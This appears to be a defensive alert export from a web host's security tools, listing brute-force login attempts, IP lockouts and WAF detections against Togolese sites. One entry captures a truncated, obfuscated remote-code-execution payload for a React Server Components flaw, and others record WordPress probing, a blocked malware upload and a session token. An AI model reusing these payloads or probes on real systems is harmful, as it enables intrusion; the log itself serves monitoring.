abuser: 177.93.165.22
country_id: 3469034
description:
2026-06-13 09:43:34 dovecot_login authenticator failed for H=(177-93-165-22.brasturbo.com.br) [177.93.165.22]:38198: 535 Incorrect authentication data (set_id=adegunle.bikounle@togosem.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.22.172.90
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/313014 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.136
country_id: 1643084
description:
[2026-06-13 09:45:17 +0000] info [cpaneld] 185.213.83.136 - yxhnfwxr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.76.39.4
country_id: 2017370
description:
Jun 13 09:45:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.76.39.4 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.76.39.4
country_id: 2017370
description:
2026-06-13 09:45:19 dovecot_plain authenticator failed for H=(2b6qleiuo5gi2c1cfp6puddn152xp) [217.76.39.4]:60649: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.21.142.158
country_id: 286963
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/105941429 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 128.199.123.37
country_id: 1880251
description:
[2026-06-13 09:46:41 +0000] info [cpaneld] 128.199.123.37 - mesyscom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.132.39.173
country_id: 2623032
description:
[2026-06-13 09:47:00 +0000] info [whostmgrd] 91.132.39.173 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.11.234.215
country_id: 3658394
description:
[2026-06-13 09:46:48 +0000] info [whostmgrd] 45.11.234.215 - netwhmcstg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-13 09:47:59 +0000] info [cpaneld] 45.61.130.187 - myxlsnta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.95.131.171
country_id: 2542007
description:
[2026-06-13 09:49:26 +0000] info [whostmgrd] 45.95.131.171 - scripts7cphulkblacklistnetwhmcstg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.123.236.73
country_id: 2629691
description:
[2026-06-13 09:51:05 +0000] info [whostmgrd] 161.123.236.73 - 92849199105 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.136
country_id: 1643084
description:
[2026-06-13 09:51:07 +0000] info [cpaneld] 185.213.83.136 - bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.68.98
country_id: 6252001
description:
[2026-06-13 09:52:12 +0000] info [cpaneld] 134.199.68.98 - tqttxcvn "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tqttxcvn (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.68.148.0
country_id: 2017370
description:
Jun 13 09:53:16 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.68.148.0 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.182.204.129
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/logo-fnfi-qk5ekij353kqebovebmfl591pdpmo8pkd2jo4k813c-768x480.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/logo-fnfi-qk5ekij353kqebovebmfl591pdpmo8pkd2jo4k813c-300x188.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/logo-fnfi-qk5ekij353kqebovebmfl591pdpmo8pkd2jo4k813c.webp 800w HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.169.220.147
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/HTML/BODY/DIV[@id='page']/*[1][self::DIV]/*[9][self::MAIN]/*[1][self::DIV]/*[2][self::ASIDE]/*[1][self::DIV]/*[1][self::DIV]/*[1][self::FIGURE]/*[1][self::IMG] HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.70.67.220
country_id: 1227603
description:
[2026-06-13 10:00:10 +0000] info [whostmgrd] 109.70.67.220 - c1565738c "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.227.96.9
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/b7b2a9 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.76.70
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/HTML/BODY/DIV[@id='page']/*[1][self::DIV]/*[9][self::MAIN]/*[1][self::DIV]/*[2][self::ASIDE]/*[3][self::DIV]/*[1][self::DIV]/*[1][self::FIGURE]/*[1][self::IMG] HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 09:59:41 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 67.215.234.141
country_id: 6252001
description:
Jun 13 10:00:00 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 67.215.234.141 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 156.208.28.209
country_id: 357994
domain: haplucia-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:156.208.28.209||TA:156.208.28.209||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.85.102
country_id: 6252001
description:
[2026-06-13 10:01:27 +0000] info [whostmgrd] 134.199.85.102 - NS4 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 201.180.37.38
country_id: 3865483
description:
201.180.37.38 - - [13/Jun/2026:10:02:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9727127&pdata=https%253A%252F%252Feducplusmedia.tg%252Fauthor%252Fediteurmarcel%252Fpage%252F21%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781344938 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/author/editeurmarcel/page/21/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.8620.1161 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:201.180.37.38


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.238.155.16
country_id: 130758
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/loading HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 139.135.53.168
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/5b83535691c90e2910957bac93c59b58_L-300x200.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/5b83535691c90e2910957bac93c59b58_L.webp 600w HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.81.59.49
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/877a64 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.202.30.228
country_id: 2510769
description:
[2026-06-13 10:05:31 +0000] info [whostmgrd] 185.202.30.228 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.190.17.68
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1265786419 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.205.212.103
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1416260086 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.253.187
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/413b39 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 196.171.15.140
country_id: 2363686
description:
196.171.15.140 - - [13/Jun/2026:10:11:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6987364&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Fpharmacies-a-tsevie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781345440 HTTP/2.0" 404 159 direct7.tg "https://www.yahoo.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X; en-us) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:196.171.15.140


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.201.162.193
country_id: 290557
description:
[2026-06-13 10:11:16 +0000] info [cpaneld] 87.201.162.193 - mafisteel "GET /login/?login_only=1&user=mafisteel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafisteel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.244.152.137
country_id: 99237
description:
[2026-06-13 10:11:24 +0000] info [cpaneld] 185.244.152.137 - mafiste "GET /login/?login_only=1&user=mafiste&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafiste (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.177.129.62
country_id: 294640
description:
[2026-06-13 10:11:32 +0000] info [cpaneld] 79.177.129.62 - mafis "GET /login/?login_only=1&user=mafis&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafis (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.52.110.168
country_id: 3625428
description:
[2026-06-13 10:11:43 +0000] info [cpaneld] 190.52.110.168 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.198.158.118
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/1780422775318-e1780422902344.webp 600w, http:/togodailynews.tg/wp-content/uploads/2026/06/1780422775318-e1780422902344-300x239.webp 300w HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.72.231.189
country_id: 2017370
description:
Jun 13 10:14:20 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.72.231.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.72.231.189
country_id: 2017370
description:
2026-06-13 10:14:22 dovecot_login authenticator failed for H=([106.63.13.176]) [109.72.231.189]:52449: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.133.200.231
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/5b83535691c90e2910957bac93c59b58_L.webp 600w, http:/togodailynews.tg/wp-content/uploads/2026/06/5b83535691c90e2910957bac93c59b58_L-300x200.webp 300w HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.235.135.46
country_id: 2589581
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/566d68 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.94.55
country_id: 6252001
description:
[2026-06-13 10:15:31 +0000] info [whostmgrd] 134.199.94.55 - Turblote "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.150
country_id: 1880251
description:
47.128.96.150 - - [13/Jun/2026:10:17:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10196636&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeviation-tsevie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781345827 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deviation-tsevie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.150


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.227.177.214
country_id: 6252001
description:
[2026-06-13 10:18:01 +0000] info [whostmgrd] 136.227.177.214 - stephanetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.80.202.38
country_id: 2661886
description:
[2026-06-13 10:19:26 +0000] info [whostmgrd] 212.80.202.38 - netmast "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.236.120.227
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/992100571 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.176.197.222
country_id: 3277605
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/05/WhatsApp-Image-2026-05-13-at-22.27.27-1.webp 1600w, http:/togodailynews.tg/wp-content/uploads/2026/05/WhatsApp-Image-2026-05-13-at-22.27.27-1-300x225.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/05/WhatsApp-Image-2026-05-13-at-22.27.27-1-1024x768.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/05/WhatsApp-Image-2026-05-13-at-22.27.27-1-768x576.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/05/WhatsApp-Image-2026-05-13-at-22.27.27-1-1536x1152.webp 1536w HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.228.35.63
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/1780422775318-e1780422902344-300x239.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/1780422775318-e1780422902344.webp 600w HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.239.84.130
country_id: 2017370
description:
Jun 13 10:21:37 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.239.84.130 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.136
country_id: 1643084
description:
[2026-06-13 10:21:47 +0000] info [cpaneld] 185.213.83.136 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.84.130
country_id: 2017370
description:
2026-06-13 10:21:39 dovecot_login authenticator failed for H=(61-222-55-205.hinet-ip.hinet.net) [83.239.84.130]:54865: 535 Incorrect authentication data (set_id=operator@dany2.mairie.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.27.219
country_id: 1880251
description:
[2026-06-13 10:22:03 +0000] info [cpaneld] 103.253.27.219 - web_tv "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user web_tv (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.39.231.194
country_id: 6252001
description:
[2026-06-13 10:22:45 +0000] info [cpaneld] 152.39.231.194 - 4968961470 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.249.57.26
country_id: 3686110
description:
[2026-06-13 10:23:05 +0000] info [whostmgrd] 89.249.57.26 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.134.113.11
country_id: 453733
description:
[2026-06-13 10:22:36 +0000] info [whostmgrd] 45.134.113.11 - netmastersarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.155.55.78
country_id: 2542007
description:
[2026-06-13 10:23:45 +0000] info [cpaneld] 105.155.55.78 - contactmairieaneho "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user contactmairieaneho (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 104.28.154.47
country_id: 2264397
description:
[2026-06-13 10:24:58 +0000] info [cpaneld] 104.28.154.47 NEW togorer:NImsnYhruHqT4DqE address=104.28.154.47,app=cpaneld,creator=togorer,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jun 13 10:25:37 ns5.netmaster.tg cpanel_fileman_hook[2339582]: 0 BAILOUT malware detected when upload '.htaccess' in /home/togorer/public_html for user togorer


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 193.151.190.194
country_id: 6252001
domain: 24heureinfo.tg
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS_NAMES:gt;If you liked this article and you would certainly like to get additional info regarding ||MV:gt;If you liked this article and you would certainly like to get additional info regarding ||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.69.126
country_id: 6252001
description:
[2026-06-13 10:28:40 +0000] info [whostmgrd] 134.199.69.126 - netwhmcstg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 139.190.137.71
country_id: 6254930
domain: abmectpune.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/abmectpune.in/mission-vision.aspx HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 10:28:48 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 139.190.137.71
country_id: 6254930
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/product/show/djama-228 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.210.110
country_id: 1835841
description:
2026-06-13 10:31:38 dovecot_login authenticator failed for H=(host-93-177-157-179.customer.magticom.ge) [119.192.210.110]:35251: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.192.210.110
country_id: 1835841
description:
Jun 13 10:31:36 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.192.210.110 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.83.69.80
country_id: 1269750
description:
[2026-06-13 10:35:59 +0000] info [cpaneld] 77.83.69.80 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.142.105.146
country_id: 2400553
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/1003400900-300x185.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/1003400900.webp 720w HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.152.90.68
country_id: 1814991
description:
Jun 13 10:39:08 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.152.90.68 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.139.60.247
country_id: 6252001
description:
[2026-06-13 10:39:10 +0000] info [whostmgrd] 94.139.60.247 - radiotogocomtg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.152.90.68
country_id: 1814991
description:
Jun 13 10:39:17 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.152.90.68 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 128.199.123.37
country_id: 1880251
description:
[2026-06-13 10:40:02 +0000] info [cpaneld] 128.199.123.37 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.137.150
country_id: 1668284
description:
[2026-06-13 10:40:59 +0000] info [whostmgrd] 195.3.137.150 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 13.70.198.236
country_id: 2963597
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/index.php/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 65.111.7.70
country_id: 6252001
description:
[2026-06-13 10:42:30 +0000] info [webmaild] 65.111.7.70 - stephane@sitewebofficiel.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77093094
abuser: 35.254.244.123
country_id: 6252001
domain: educplusmedia.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var wrcv=arguments['\\\\x31'];var ounze=wrcv;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.50.107
country_id: 1880251
domain: macite.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.124.91
country_id: 690791
description:
Jun 13 10:46:08 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.124.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.124.91
country_id: 690791
description:
Jun 13 10:46:21 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.124.91 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.113.114.61
country_id: 3658394
description:
[2026-06-13 10:47:41 +0000] info [cpaneld] 181.113.114.61 - mesyscom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 47.203.99.80
country_id: 6252001
description:
[2026-06-13 10:51:02 +0000] info [cpaneld] 47.203.99.80 - sadis "GET / HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [78.135.61.227] != Current IP Address [47.203.99.80]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.158.53.202
country_id: 1643084
description:
Jun 13 10:51:42 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.158.53.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 13 10:53:48 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.209.72.46
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/fonds-africain-de-developpement-cinq-pays-membres-regionaux-de-la-bad-prendront-part-a-la-reconstitution-des-ressources/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.63.144.20
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-15-at-17.42.09-768x506.webp HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.148.28.169
country_id: 690791
domain: togodailynews.tg
description:
